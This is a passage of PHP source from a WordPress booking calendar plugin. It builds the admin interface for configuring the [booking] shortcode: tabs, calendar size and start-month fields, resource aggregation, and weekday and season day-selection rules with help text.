'_wpbc_custom_form', $shortcode_name ); // Number of Months wpbc_shortcode_config_fields__select_nummonths( $shortcode_name . '_wpbc_nummonths', $shortcode_name ); // Calendar Size wpbc_shortcode_config_fields__calendar_size( $shortcode_name . '_wpbc_size', $shortcode_name ); ?></tbody></table> </div><?php // 'Conditional Days Selection' -------------------------------------------------------------------------------- ?><div class="wpbc_sc_container__shortcode_section wpbc_sc_container__shortcode_section__conditions"><?php wpbc_shortcode_config_fields__dates_conditions_toolbar(); // TOOLBAR ?><div class="wpbc_sc_container__shortcode_subsection wpbc_sc_container__shortcode_subsection__weekdays_conditions"> <?php wpbc_shortcode_config_fields__weekdays_conditions( $shortcode_name . 'wpbc_select_day_weekday', $shortcode_name ); ?> </div><?php ?><div class="wpbc_sc_container__shortcode_subsection wpbc_sc_container__shortcode_subsection__seasons_conditions"> <?php wpbc_shortcode_config_fields__season_conditions( $shortcode_name . 'wpbc_select_day_season', $shortcode_name ); ?> </div><?php ?><div class="wpbc_sc_container__shortcode_subsection wpbc_sc_container__shortcode_subsection__startseason_conditions"> <?php wpbc_shortcode_config_fields__season_start_day_conditions( $shortcode_name . 'wpbc_start_day_season', $shortcode_name ) ?> </div><?php ?><div class="wpbc_sc_container__shortcode_subsection wpbc_sc_container__shortcode_subsection__dates_conditions"> <?php wpbc_shortcode_config_fields__fordate_conditions( $shortcode_name . 'wpbc_select_day_fordate', $shortcode_name ); ?> </div><?php ?></div><?php // 'AGGREGATE' ------------------------------------------------------------------------------------------------- ?><div class="wpbc_sc_container__shortcode_section wpbc_sc_container__shortcode_section__aggregate"><?php wpbc_shortcode_config_fields__aggregate( $shortcode_name . '_wpbc_aggregate', $shortcode_name ); ?></div><?php // 'START MONTH' ----------------------------------------------------------------------------------------------- ?><div class="wpbc_sc_container__shortcode_section wpbc_sc_container__shortcode_section__other"><?php ?><table class="form-table"><tbody><?php wpbc_shortcode_config_fields__start_month( $shortcode_name . '_wpbc_startmonth', $shortcode_name ); ?></tbody></table><?php ?></div><?php ?> <div class="wpbc_shortcode_config_content_toolbar__next_prior"> <a href="javascript:void(0)" onclick="javascript:wpbc_shortcode_config_content_toolbar__next_prior(this,'prior');" class="button"> <span class="in-button-text">‹</span> </a> <a href="javascript:void(0)" onclick="javascript:wpbc_shortcode_config_content_toolbar__next_prior(this,'next');" class="button"> <span class="in-button-text">›</span> </a> </div> <?php ?></div><?php wpbc_clear_div(); } /** * Top Tabs for shortcode [booking ...] * @return void */ function wpbc_shortcode_config__booking__top_tabs(){ $shortcode_name = 'booking'; wpbc_bs_toolbar_tabs_html_container_start(); $js = "jQuery(this).parents( '.wpbc_sc_container__shortcode' ).find( '.nav-tab' ).removeClass('nav-tab-active');" . "jQuery(this).addClass('nav-tab-active');" . "jQuery('.nav-tab i.icon-white').removeClass('icon-white');" . "jQuery('.nav-tab-active i').addClass('icon-white');" . "jQuery('.wpbc_sc_container__shortcode_" . $shortcode_name . " .wpbc_sc_container__shortcode_section').hide();"; wpbc_bs_display_tab( array( 'title' => __('Booking Calendar Form', 'booking') // , 'hint' => array( 'title' => __('Manage bookings' ,'booking') , 'position' => 'top' ) , 'onclick' => $js . "jQuery('.wpbc_sc_container__shortcode_" . $shortcode_name . " .wpbc_sc_container__shortcode_section__general').show();" , 'font_icon' => 'wpbc-bi-calendar3-range' , 'default' => true ) ); wpbc_bs_display_tab( array( 'title' => __('Conditional Days Selection', 'booking') // , 'hint' => array( 'title' => __('Manage bookings' ,'booking') , 'position' => 'top' ) , 'onclick' => $js . "jQuery('.wpbc_sc_container__shortcode_" . $shortcode_name . " .wpbc_sc_container__shortcode_section__conditions').show();" , 'font_icon' => 'wpbc-bi-calendar2-week' , 'default' => false , 'css_classes' => 'wpbc_dismiss__conditional_days' ) ); wpbc_bs_display_tab( array( 'title' => __('Aggregate', 'booking') // , 'hint' => array( 'title' => __('Manage bookings' ,'booking') , 'position' => 'top' ) , 'onclick' => $js . "jQuery('.wpbc_sc_container__shortcode_" . $shortcode_name . " .wpbc_sc_container__shortcode_section__aggregate').show();" , 'font_icon' => 'wpbc-bi-calendar2-plus' , 'default' => false , 'css_classes' => 'wpbc_dismiss__booking_param_aggregate' ) ); wpbc_bs_display_tab( array( 'title' => __('Advanced', 'booking') // , 'hint' => array( 'title' => __('Manage bookings' ,'booking') , 'position' => 'top' ) , 'onclick' => $js . "jQuery('.wpbc_sc_container__shortcode_" . $shortcode_name . " .wpbc_sc_container__shortcode_section__other').show();" , 'font_icon' => 'wpbc_icn_tune' , 'default' => false ) ); wpbc_bs_toolbar_tabs_html_container_end(); } // ===================================================================================================================== // Fields // ===================================================================================================================== /** * Shortcode Field: Select-box - "Booking Resource" * * @param $id * @param $group_key * * @return void */ function wpbc_shortcode_config_fields__select_resource( $id , $group_key ){ if ( class_exists( 'wpdev_bk_personal' ) ){ WPBC_Settings_API::field_select_row_static( $id , array( 'type' => 'select' , 'title' => __( 'Booking resource', 'booking') , 'description' => __( 'Select booking resource', 'booking' ) , 'description_tag' => 'span' , 'label' => '' , 'multiple' => false , 'group' => $group_key , 'tr_class' => $group_key . '_standard_section' , 'class' => '' , 'css' => 'margin-right:10px;' , 'only_field' => false , 'attr' => array() , 'value' => '' , 'options' => wpbc_get_all_booking_resources_list() ) ); } } /** * Shortcode Field: Select-box - "Custom Booking Form" * * @param $id * @param $group_key * * @return void */ function wpbc_shortcode_config_fields__select_custom_form( $id , $group_key ){ if ( class_exists( 'wpdev_bk_biz_m' ) ){ wpbc_in_settings__form_selection( array( 'name' => $id , 'title' => __('Booking Form', 'booking') , 'description' => __('Select custom booking form' ,'booking') , 'group' => $group_key ) ); } } /** * Shortcode Field: Select-box - "Calendar Months Number" * * @param $id * @param $group_key * * @return void */ function wpbc_shortcode_config_fields__select_nummonths( $id , $group_key ){ WPBC_Settings_API::field_select_row_static( $id , array( 'type' => 'select' , 'title' => __('Visible months', 'booking') , 'description' => __('Select number of month to show for calendar.' ,'booking') , 'description_tag' => 'span' , 'label' => '' , 'multiple' => false , 'group' => $group_key , 'tr_class' => $group_key . '_standard_section' , 'class' => '' , 'css' => 'margin-right:10px;' , 'only_field' => false , 'attr' => array() , 'value' => get_bk_option( 'booking_client_cal_count' ) , 'options' => array_combine( range( 1, 12 ), range( 1, 12 ) ) ) ); } /** * Shortcode Fields: OPTION - "Define Calendar Size" * * @param $id * @param $group_key * * @return void */ function wpbc_shortcode_config_fields__calendar_size( $id , $group_key ){ // --------------------------------------------------------------------------------------------------------- WPBC_Settings_API::field_checkbox_row_static( $id . '_enabled' , array( 'type' => 'checkbox' , 'title' => __('Setup Size & Structure', 'booking') , 'description' => __('Configure Calendar Size and Structure', 'booking') , 'description_tag' => 'span' , 'label' => '' , 'class' => '' , 'css' => '' , 'tr_class' => '' , 'attr' => array() , 'group' => $group_key , 'tr_class' => $group_key . '_standard_section wpbc_sub_settings_grayed' , 'only_field' => !true , 'is_new_line' => false , 'value' => false ) ); WPBC_Settings_API::field_select_row_static( $id . '_months_num_in_row' , array( 'type' => 'select' , 'title' => __('Number of months in a row', 'booking') , 'description' => __('Select the number of months to show in one row on a wide screen.' ,'booking') , 'description_tag' => 'span' , 'label' => '' , 'multiple' => false , 'group' => $group_key , 'tr_class' => $group_key . '_standard_section wpbc_sub_settings_grayed ' . $id . '_wpbc_sc_calendar_size' , 'class' => '' , 'css' => 'margin-right:10px;' , 'only_field' => false , 'attr' => array() , 'value' => get_bk_option( 'booking_client_cal_count' ) , 'options' => array_combine( range( 1, 6 ), range( 1, 6 ) ) ) ); ?><tr valign="top" class="<?php echo $group_key . '_standard_section'; ?> wpbc_sub_settings_grayed <?php echo $id; ?>_wpbc_sc_calendar_size"> <th scope="row" style="vertical-align: middle;"> <label for="wpbc_booking_width" class="wpbc-form-text"><?php _e('Calendar width:', 'booking'); ?></label> </th> <td class=""><fieldset><?php WPBC_Settings_API::field_text_row_static( $id . '_calendar_width' , array( 'type' => 'text' , 'placeholder' => '100' , 'class' => '' , 'css' => 'width:5em;' , 'only_field' => true , 'attr' => array() , 'value' => '100' ) ); WPBC_Settings_API::field_select_row_static( $id . '_calendar_width_px_pr' , array( 'type' => 'select' , 'multiple' => false , 'class' => '' , 'css' => 'width:4em;' , 'only_field' => true , 'attr' => array() , 'value' => '%' , 'options' => array( 'px' => 'px', '%' => '%' ) ) ); ?><span class="description"> <?php _e('Set width of calendar' ,'booking'); ?></span></fieldset></td> </tr><?php ?><tr valign="top" class="<?php echo $group_key . '_standard_section'; ?> wpbc_sub_settings_grayed <?php echo $id; ?>_wpbc_sc_calendar_size"> <th scope="row" style="vertical-align: middle;"><label for="wpbc_booking_cell_height" class="wpbc-form-text"><?php _e('Calendar cell height:', 'booking'); ?></label></th> <td class=""> <fieldset><?php WPBC_Settings_API::field_text_row_static( $id . '_calendar_cell_height' , array( 'type' => 'text' , 'placeholder' => '50' , 'class' => '' , 'css' => 'width:5em;' , 'only_field' => true , 'attr' => array() , 'value' => '50' ) ); WPBC_Settings_API::field_select_row_static( $id . '_calendar_cell_height_px_pr' , array( 'type' => 'select' , 'multiple' => false , 'class' => '' , 'css' => 'width:4em;' , 'only_field' => true , 'attr' => array() , 'value' => '%' , 'options' => array( 'px' => 'px' ) ) ); ?><span class="description"> <?php _e('Set cell height for calendar' ,'booking'); ?></span> </fieldset> </td> </tr><?php } /** * Shortcode Fields: Start Month * * @param $id * @param $group_key * * @return void */ function wpbc_shortcode_config_fields__start_month( $id , $group_key ){ //////////////////////////////////////////////////////////////////// // Start Month //////////////////////////////////////////////////////////////////// ?><tr valign="top" class="<?php echo $group_key . '_standard_section'; ?>"> <th scope="row" style="vertical-align: middle;"><label for="<?php echo $id; ?>_active" class="wpbc-form-text"><?php _e('Start month:', 'booking'); ?></label></th> <td class=""><fieldset><?php WPBC_Settings_API::field_checkbox_row_static( $id . '_active' , array( 'type' => 'checkbox' , 'title' => '' , 'description' => '' , 'description_tag' => 'span' , 'label' => '' , 'class' => '' , 'css' => '' , 'tr_class' => '' , 'attr' => array() , 'group' => $group_key , 'only_field' => true , 'is_new_line' => false , 'value' => false ) ); WPBC_Settings_API::field_select_row_static( $id . '_year' , array( 'type' => 'select' , 'title' => '' , 'description' => '' , 'description_tag' => 'span' , 'label' => '' , 'multiple' => false , 'group' => $group_key , 'class' => '' , 'css' => 'width:5em;' , 'only_field' => true , 'attr' => array() , 'value' => date( 'Y' ) , 'options' => array_combine( range( ( date('Y') - 1 ), ( date('Y') + 10 ) ), range( ( date('Y') - 1 ), ( date('Y') + 10 ) ) ) ) ); ?><span class="description" style="font-weight:600;flex:0;margin: 3px 0.5em 0.5em 0;"> / </span><?php WPBC_Settings_API::field_select_row_static( $id . '_month' , array( 'type' => 'select' , 'title' => '' , 'description' => '' , 'description_tag' => 'span' , 'label' => '' , 'multiple' => false , 'group' => $group_key , 'class' => '' , 'css' => 'width:4em;' , 'only_field' => true , 'attr' => array() , 'value' => date('n') , 'options' => array_combine( range( 1, 12 ), range( 1, 12 ) ) ) ); ?><span class="description"> <?php _e('Select start month of calendar' ,'booking'); ?></span></fieldset></td> </tr><?php } /** * Shortcode Fields: AGGREGATE * * @param $id * @param $group_key * * @return void */ function wpbc_shortcode_config_fields__aggregate( $id , $group_key ){ //-------------------------------------------------------------------------------------------------------------- // 'Upgrade to Pro' widget //-------------------------------------------------------------------------------------------------------------- $upgrade_content_arr = wpbc_get_upgrade_widget( array( 'id' => 'widget_wpbc_dismiss__booking_param_aggregate', 'dismiss_css_class' => '.wpbc_dismiss__booking_param_aggregate', 'blured_in_versions' => array( 'free' ), 'feature_link' => array( 'title' => 'feature', 'relative_url' => 'overview/#booking-resources' ), 'upgrade_link' => array( 'title' => 'Upgrade to Pro', 'relative_url' => 'features/#bk_news_section' ), 'versions' => 'paid versions', 'css' => 'transform: translate(0) translateY(180px);' ) ); echo $upgrade_content_arr['content']; //-------------------------------------------------------------------------------------------------------------- // Real Content //-------------------------------------------------------------------------------------------------------------- $resources_list = array(); if ( class_exists( 'wpdev_bk_personal' ) ){ $resources_list_orig = wpbc_get_all_booking_resources_list(); $resources_list[0] = array( 'title' => __('None', 'booking' ), 'attr' => array ( 'class' => 'wpbc_single_resource', 'style' => 'border-bottom:1px dashed #ddd;') ); foreach ($resources_list_orig as $res_id => $res_val) { $resources_list[$res_id] = $res_val; } } ?> <div class="clear"></div> <div class="wpbc-settings-notice0 notice-info notice-header" style="font-size: 15px;font-weight: 600;margin: 15px 0 15px 15px;"> <label for="<?php echo esc_attr($id); ?>"><?php _e( 'Aggregate booking dates from other resources', 'booking' ); ?></label> </div> <div class="wpbc_shortcode_config__rules_container wpbc_dismiss__booking_param_aggregate <?php echo esc_attr( $upgrade_content_arr['maybe_blur_css_class'] ); ?>"> <div class="wpbc_shortcode_config__rules__params_section wpbc_aggregate"> <div class="wpbc_ajx_toolbar wpbc_no_background wpbc_buttons_row"> <div class="ui_container ui_container_mini"> <div class="ui_group"> <div class="ui_element wpdevelop"><?php WPBC_Settings_API::field_select_row_static( $id //. '__aggregate' , array( 'type' => 'select' , 'title' => __('Aggregate booking dates from other resources', 'booking') , 'description' => ''//__( 'Select booking resources, for getting booking dates from them and set such dates as unavailable in destination calendar.', 'booking' ) , 'description_tag' => 'span' , 'label' => '' , 'multiple' => true , 'group' => $group_key , 'tr_class' => ''//$group_key . '_advanced_section' , 'class' => 'wpbc_ui_control wpbc_ui_select' , 'css' => 'margin-right:10px;height:20em;min-width:15em;' , 'only_field' => true , 'attr' => array() , 'value' => '0' , 'options' => $resources_list ) ); ?></div> </div> </div> </div> <div class="wpbc_ajx_toolbar wpbc_no_background wpbc_buttons_row"> <div class="ui_container ui_container_mini ui_container_weekdays"> <div class="ui_group ui_group_weekdays_checkboxes"> <div class="ui_element"><?php WPBC_Settings_API::field_checkbox_row_static( $id . '__bookings_only' , array( 'type' => 'checkbox' , 'title' => '' , 'description' => '' , 'description_tag' => 'span' , 'label' => __( 'Aggregate only bookings', 'booking' ) , 'class' => '' , 'css' => '' , 'tr_class' => '' , 'attr' => array() , 'group' => $group_key , 'only_field' => true , 'is_new_line' => false , 'value' => false ////FixIn: 10.0.0.6 ) ); ?></div> </div> </div> </div> </div> <div class="wpbc_shortcode_config__rules__help_section" style="margin-top: 8px;"> <div class="wpbc-settings-notice notice-info notice-list"> <ol> <li> <?php _e( "Show dates as booked in the current calendar if such dates are unavailable in one of the selected resources.", 'booking' ); ?> </li> <li> <?php echo __( 'To set this up, select one or multiple booking resources in the multi-select box.', 'booking' ) . '<br>' . __( 'Hold down the Ctrl button to make multiple selections.', 'booking' ); echo ' <strong>' . __( 'Code Example', 'booking' ) . ': </strong>' . '<code>[booking resource_id=1 aggregate=\'3;5;9\']</code>'; ?> </li> <li> <?php printf(__('Enable %sAggregate only bookings%s option to aggregate only bookings without including unavailable dates from the %s page.','booking') , '<strong>', '</strong>' , '<strong>Booking > Availability > Days Availability</strong>' ); ?> <?php echo ' <strong>' . __( 'Code Example', 'booking' ) . ': </strong>' , '<code>[booking resource_id=1 aggregate=\'3;5;9\' options=\'{aggregate type=bookings_only}\']</code>'; ?> </li> <li> <?php printf( __ ('Check the FAQ for details on %sshortcode configuration%s, especially this %soption%s.' , 'booking' ) , '<a href="https://wpbookingcalendar.com/faq/shortcode-booking-form/" target="_blank">', '</a>' , '<strong><a href="https://wpbookingcalendar.com/faq/shortcode-booking-form/#booking-options-start-day-condition" target="_blank">', '</a></strong>' ); ?> </li> </ol> </div> </div> </div><?php } // ----------------------------------------------------------------------------------------------------------------- function wpbc_shortcode_config_fields__dates_conditions_toolbar(){ ?><div class="clear"></div><?php ?><div class="wpdevelop wpdvlp-nav-tabs-container wpbc_shortcode_config_fields__dates_conditions_toolbar"><?php $js = "jQuery(this).parents( '.wpbc_shortcode_config_fields__dates_conditions_toolbar' ).find( '.nav-tab' ).removeClass('wpdevelop-submenu-tab-selected'); jQuery(this).addClass('wpdevelop-submenu-tab-selected'); jQuery('.nav-tab i.icon-white').removeClass('icon-white'); jQuery('.nav-tab-active i').addClass('icon-white'); jQuery(this).parents('.wpbc_sc_container__shortcode_section').find('.wpbc_sc_container__shortcode_subsection').hide(); jQuery(this).parents('.wpbc_sc_container__shortcode_section')"; wpbc_bs_toolbar_sub_html_container_start(); ?><a class="nav-tab wpdevelop-submenu-tab tooltip_top wpdevelop-submenu-tab-selected wpbc_dismiss__conditional_days" onclick="javascript:<?php echo $js; ?>.find('.wpbc_sc_container__shortcode_subsection__weekdays_conditions').show();" href="javascript:void(0)" ><span class="nav-tab-text"><i class="menu_icon icon-1x wpbc-bi-calendar2-week"></i> <?php _e( 'Weekdays Conditions', 'booking' ); ?></span></a><?php ?><a class="nav-tab wpdevelop-submenu-tab tooltip_top wpbc_dismiss__conditional_days" onclick="javascript:<?php echo $js; ?>.find('.wpbc_sc_container__shortcode_subsection__seasons_conditions').show();" href="javascript:void(0)" ><span class="nav-tab-text"><i class="menu_icon icon-1x wpbc-bi-calendar2-month"></i> <?php _e( 'Seasons Conditions', 'booking' ); ?></span></a><?php ?><a class="nav-tab wpdevelop-submenu-tab tooltip_top wpbc_dismiss__conditional_days" onclick="javascript:<?php echo $js; ?>.find('.wpbc_sc_container__shortcode_subsection__startseason_conditions').show();" href="javascript:void(0)" ><span class="nav-tab-text"><i class="menu_icon icon-1x wpbc-bi-calendar2-day"></i> <?php _e( 'Start selection at Seasons', 'booking' ); ?></span></a><?php ?><a class="nav-tab wpdevelop-submenu-tab tooltip_top wpbc_dismiss__conditional_days" onclick="javascript:<?php echo $js; ?>.find('.wpbc_sc_container__shortcode_subsection__dates_conditions').show();" href="javascript:void(0)" ><span class="nav-tab-text"><i class="menu_icon icon-1x wpbc-bi-calendar2-date"></i> <?php _e( 'Dates selection Conditions', 'booking' ); ?></span></a><?php wpbc_bs_toolbar_sub_html_container_end(); ?> </div><?php } /** * Week Days - Condition fields for 'option' parameter. * * @param $id * @param $group_key * * @return void */ function wpbc_shortcode_config_fields__weekdays_conditions( $id , $group_key ){ //-------------------------------------------------------------------------------------------------------------- // 'Upgrade to Pro' widget //-------------------------------------------------------------------------------------------------------------- $upgrade_content_arr = wpbc_get_upgrade_widget( array( 'id' => $id . '_' . 'conditional_days_weekdays', 'dismiss_css_class' => '.wpbc_dismiss__conditional_days', 'blured_in_versions' => array( 'free', 'ps', 'bs' ), 'feature_link' => array( 'title' => 'feature', 'relative_url' => 'overview/#advanced-days-selection' ), 'upgrade_link' => array( 'title' => 'Upgrade to Pro', 'relative_url' => 'features/#bk_news_section' ), 'versions' => 'Business Medium / Large, MultiUser versions', 'css' => 'transform: translate(0) translateY(120px);' ) ); echo $upgrade_content_arr['content']; //-------------------------------------------------------------------------------------------------------------- // Conditions for Weekdays selection //-------------------------------------------------------------------------------------------------------------- ?><div class="wpbc_shortcode_config__rules_container wpbc_dismiss__conditional_days <?php echo esc_attr( $upgrade_content_arr['maybe_blur_css_class'] ); ?>"> <div class="wpbc_shortcode_config__rules__params_section wpbc_select_day_weekday"> <div class="wpbc_ajx_toolbar wpbc_no_background wpbc_buttons_row"> <div class="ui_container ui_container_mini ui_container_weekdays"> <?php $week_days_arr = array( 1 => __( 'Mo', 'booking' ) , 2 => __( 'Tu', 'booking' ) , 3 => __( 'We', 'booking' ) , 4 => __( 'Th', 'booking' ) , 5 => __( 'Fr', 'booking' ) , 6 => __( 'Sa', 'booking' ) , 0 => __( 'Su', 'booking' ) ); foreach ( $week_days_arr as $weekday_key => $weekday_title ) { ?><div class="ui_group ui_group_weekdays_checkboxes"><?php ?><div class="ui_element"><?php WPBC_Settings_API::field_checkbox_row_static( $id . '__weekday_' . $weekday_key , array( 'type' => 'checkbox' , 'title' => '' , 'description' => '' , 'description_tag' => 'span' , 'label' => $weekday_title , 'class' => '' , 'css' => '' , 'tr_class' => '' , 'attr' => array() , 'group' => $group_key , 'only_field' => true , 'is_new_line' => false , 'value' => false ) ); ?></div> <div class="ui_element"><?php $placeholder = ''; switch ( $weekday_key ) { case 0: $placeholder = '1-7'; break; case 1: $placeholder = '5,7'; break; case 2: $placeholder = '3,4'; break; case 3: $placeholder = '5'; break; case 4: $placeholder = '4'; break; case 5: $placeholder = '3'; break; case 6: $placeholder = '2-7'; break; } WPBC_Settings_API::field_text_row_static( $id . '__days_number_' . $weekday_key , array( 'type' => 'text' , 'placeholder' => $placeholder , 'class' => 'wpbc_dates_conditions_value_weekday' , 'css' => '' , 'only_field' => true , 'attr' => array() , 'value' => '' ) ); ?></div> <div class="ui_element"><?php ?><div class="wpbc_ui_control" style="line-height: 2;"><?php _e('days to select' ,'booking'); ?></div><?php ?></div><?php ?></div><?php } ?> </div> </div> <div class="wpbc_ajx_toolbar wpbc_no_background wpbc_buttons_row"> <div class="ui_container ui_container_mini"> <div class="ui_group"><?php ?><div class="ui_element"> <a href="javascript:void(0)" onclick="javascript:wpbc_shortcode_config__select_day_weekday__add('<?php echo $id; ?>');" class="button button-primary"><?php _e( 'Set Rule', 'booking' ); ?></a> </div><?php ?><div class="ui_element"> <a href="javascript:void(0)" onclick="javascript:wpbc_shortcode_config__select_day_weekday__reset('<?php echo $id; ?>');" class="wpbc_ui_control wpbc_ui_button wpbc_ui_button_danger" ><?php _e('Reset','booking'); ?></a> </div><?php ?> </div> </div> </div> </div> <div class="wpbc_shortcode_config__rules__help_section"> <div class="wpbc-settings-notice notice-info notice-header"> <span><?php _e( 'Specify the number of days to select when starting the selection on a specific weekday.', 'booking' ); ?></span> </div> <div class="wpbc-settings-notice notice-info notice-list"> <ol> <li> <?php _e( "For example, a visitor can choose to book only 5 or 7 days starting on Monday, or any number from 2 to 7 days starting on Saturday, and so forth. To configure this, check the 'Monday' box and set the number of days to select as '5,7'. Then, check the 'Saturday' box and set the number of days to select as '2-7'. Finally, click the 'Set Rule' button.", 'booking' ); ?> </li> <li> <?php echo '<strong>' . __( 'Code Example', 'booking' ) . ': </strong>' . '<code>{select-day condition="weekday" for="1" value="5,7"},{select-day condition="weekday" for="6" value="2-7"}</code>'; ?> </li> <li> <?php printf( __ ('Check the FAQ for details on %sshortcode configuration%s, especially this %soption%s.' , 'booking' ) , '<a href="https://wpbookingcalendar.com/faq/shortcode-booking-form/" target="_blank">', '</a>' , '<strong><a href="https://wpbookingcalendar.com/faq/shortcode-booking-form/#booking-options-condition" target="_blank">', '</a></strong>' ); ?> </li> <li> <?php printf(__('Explore %sJavaScript customization%s for advanced different day selection in different calendars.' ,'booking') , '<a href="https://wpbookingcalendar.com/faq/advanced-javascript-for-the-booking-shortcodes/" target="_blank">','</a>'); ?> </li> </ol> </div> <textarea id="<?php echo $id; ?>_textarea" name="<?php echo $id; ?>_textarea" style="width:100%;margin-top:15px;"></textarea> </div> </div><?php } /** * Season Days Selection - Condition fields for 'option' parameter. * * @param $id * @param $group_key * * @return void */ function wpbc_shortcode_config_fields__season_conditions( $id, $group_key ) { //-------------------------------------------------------------------------------------------------------------- // 'Upgrade to Pro' widget //-------------------------------------------------------------------------------------------------------------- $upgrade_content_arr = wpbc_get_upgrade_widget( array( 'id' => $id . '_' . 'conditional_days_seasons', 'dismiss_css_class' => '.wpbc_dismiss__conditional_days', 'blured_in_versions' => array( 'free', 'ps', 'bs' ), 'feature_link' => array( 'title' => 'feature', 'relative_url' => 'overview/#advanced-days-selection' ), 'upgrade_link' => array( 'title' => 'Upgrade to Pro', 'relative_url' => 'features/#bk_news_section' ), 'versions' => 'Business Medium / Large, MultiUser versions', 'css' => 'transform: translate(0) translateY(120px);' ) ); echo $upgrade_content_arr['content']; //-------------------------------------------------------------------------------------------------------------- // Conditions for Seasons days selection //-------------------------------------------------------------------------------------------------------------- $options = wpbc_shortcode_config_fields__get_options_for_seasons(); ?><div class="wpbc_shortcode_config__rules_container wpbc_dismiss__conditional_days <?php echo esc_attr( $upgrade_content_arr['maybe_blur_css_class'] ); ?>"> <div class="wpbc_shortcode_config__rules__params_section wpbc_select_day_season"> <div class="wpbc_ajx_toolbar wpbc_no_background wpbc_buttons_row"> <div class="ui_container ui_container_mini"> <div class="ui_group"> <div class="ui_element"> <div class="wpbc_ui_control" style="line-height: 2;"> <span><?php _e('In season' ,'booking'); ?></span> </div> </div> <div class="ui_element wpdevelop"><?php WPBC_Settings_API::field_select_row_static( $id . '__season_filter_name' , array( 'type' => 'select' , 'title' => '' , 'label' => '' , 'disabled' => false , 'disabled_options' => array() , 'multiple' => false , 'description' => '' , 'description_tag' => 'span' , 'group' => $group_key , 'tr_class' => '' , 'class' => 'wpbc_ui_control wpbc_ui_select' , 'css' => 'max-width: Min(14em, 100%);flex: 0 1 auto;width: 14em;border-radius:3px 0 0 3px;' , 'only_field' => true , 'attr' => array() , 'value' => '0' , 'options' => $options ) ); ?><a href="<?php echo wpbc_get_availability_url(); ?>&tab=filter" title="<?php echo esc_attr( __( 'Add new season', 'booking' ) ); ?>" class="wpbc_ui_control wpbc_ui_button tooltip_top" ><i class="menu_icon icon-1x wpbc_icn_add _circle_outline"></i></a><?php ?></div> </div> </div> <div class="ui_container ui_container_mini"> <div class="ui_group"> <div class="ui_element"> <div class="wpbc_ui_control " style="line-height: 2;"><?php _e('allow to select' ,'booking'); ?></div> </div> <div class="ui_element"><?php WPBC_Settings_API::field_text_row_static( $id . '__days_number' , array( 'type' => 'text' , 'placeholder' => '5 ' . __( 'or', 'booking' ) . ' 1-7 ' . __( 'or', 'booking' ) . ' 1,5,7' , 'class' => 'wpbc_ui_control wpbc_ui_text' , 'css' => 'width:9em;border-radius:3px;' , 'only_field' => true , 'attr' => array() , 'value' => '' ) ); ?></div> <div class="ui_element"> <div class="wpbc_ui_control" style="line-height: 2;"><?php _e('days' ,'booking'); ?></div> </div> </div> </div> <div class="ui_container ui_container_mini"> <div class="ui_group"> <div class="ui_element"> <a href="javascript:void(0)" onclick="javascript:wpbc_shortcode_config__select_day_season__add('<?php echo $id; ?>');" class="wpbc_ui_control wpbc_ui_button wpbc_ui_button_primary" ><?php _e('Add Rule','booking'); ?></a> </div> <div class="ui_element"> <a href="javascript:void(0)" onclick="javascript:wpbc_shortcode_config__select_day_season__reset('<?php echo $id; ?>');" class="wpbc_ui_control wpbc_ui_button wpbc_ui_button_danger" ><?php _e('Reset','booking'); ?></a> </div> </div> </div> </div> </div> <div class="wpbc_shortcode_config__rules__help_section"> <div class="wpbc-settings-notice notice-info notice-header"> <span><?php _e( 'Specify the number of days to select when starting the selection in a specific season.', 'booking' ); ?></span> </div> <div class="wpbc-settings-notice notice-info notice-list"> <ol> <li> <?php _e( "For example, a visitor can choose to book any number from 7 to 14 days or 21 days starting on 'High season', or any number from 2 to 5 days starting on 'Low season', and so forth. To configure this, select the 'High season' option in the dropdown menu and set the number of days to select as '7-14,21'. Click the 'Add Rule' button. Next, select the 'Low season' option in the dropdown menu and set the number of days to select as '2-5'. Click the 'Add Rule' button again.", 'booking' ); ?> </li> <li> <?php echo '<strong>' . __( 'Code Example', 'booking' ) . ': </strong>' . '<code>{select-day condition="season" for="High season" value="7-14,21"},{select-day condition="season" for="Low season" value="2-5"}</code>'; ?> </li> <li> <?php printf( __ ('Check the FAQ for details on %sshortcode configuration%s, especially this %soption%s.' , 'booking' ) , '<a href="https://wpbookingcalendar.com/faq/shortcode-booking-form/" target="_blank">', '</a>' , '<strong><a href="https://wpbookingcalendar.com/faq/shortcode-booking-form/#booking-options-condition-seasons" target="_blank">', '</a></strong>' ); ?> </li> <li> <?php printf(__('Explore %sJavaScript customization%s for advanced different day selection in different calendars.' ,'booking') , '<a href="https://wpbookingcalendar.com/faq/advanced-javascript-for-the-booking-shortcodes/" target="_blank">','</a>'); ?> </li> </ol> </div> <textarea id="<?php echo $id; ?>_textarea" name="<?php echo $id; ?>_textarea" style="width:100%;margin:10px 0;"></textarea> </div> </div><?php } /** * Get Season Filters options - for selectbox in PopUp shortcode config * * @return array|array[] */ function wpbc_shortcode_config_fields__get_options_for_seasons(){ if (function_exists('wpbc_sf_cache')) { // ----------------------------------------------------------------------------------------------------------------- // Get Season Filters data: // ----------------------------------------------------------------------------------------------------------------- $wpbc_sf_cache = wpbc_sf_cache(); /** * $wpbc_sf_cache->get_data() = [ * 1 => [ * booking_filter_id = "1" * title = "Weekend" * filter = "a:4:{s:8:"weekdays";a:7..." * users = "1" * id = "1" */ $season_filter_arr = $wpbc_sf_cache->get_data(); } else { $season_filter_arr = array(); } // $wpbc_br_cache = wpbc_br_cache(); /* $wpbc_br_cache->get_resources() = [ 1 = [ booking_type_id = "1" title = "Standard" users = "1" import = null export = "/ics/wpbm.ics" cost = "25" default_form = "standard" prioritet = "1" parent = "0" visitors = "2" id = "1" count = {int} 5 7 = [... */ $current_user_id = wpbc_get_current_user_id(); $options = array( 0 => array( 'title' => ' - ' . __( 'Please Select', 'booking' ) . ' - ', 'attr' => array( 'style' => 'color:#999;font-weight: 400;' ) ) ); foreach ( $season_filter_arr as $filter_id => $filter_arr ) { $options[ $filter_arr['id'] ] = $filter_arr; // MultiUser functionality for regular users showing season filters. if ( ( class_exists( 'wpdev_bk_multiuser' ) ) && ( ! empty( $filter_arr['users'] ) ) ) { // Is current user suer booking admin and if this user was simulated log in $season_user_id = intval( $filter_arr['users'] ); $is_user_super_admin = apply_bk_filter( 'is_user_super_admin', $season_user_id ); if ( ( ! $is_user_super_admin ) && ( $current_user_id != $season_user_id ) ) { $options[ $filter_arr['id'] ]['attr'] = array( 'style' => 'color:#a43232;font-weight: 400;font-style: italic;' ); $user_name = get_userdata( $season_user_id ); $user_name = $user_name->display_name; $options[ $filter_arr['id'] ]['title'] .= ' (' . __( 'Regular User', 'booking' ) . ': ' . $user_name . ')'; } } } return $options; } /** * Season Days Start Day - Condition fields for 'option' parameter. * * @param $id * @param $group_key * * @return void */ function 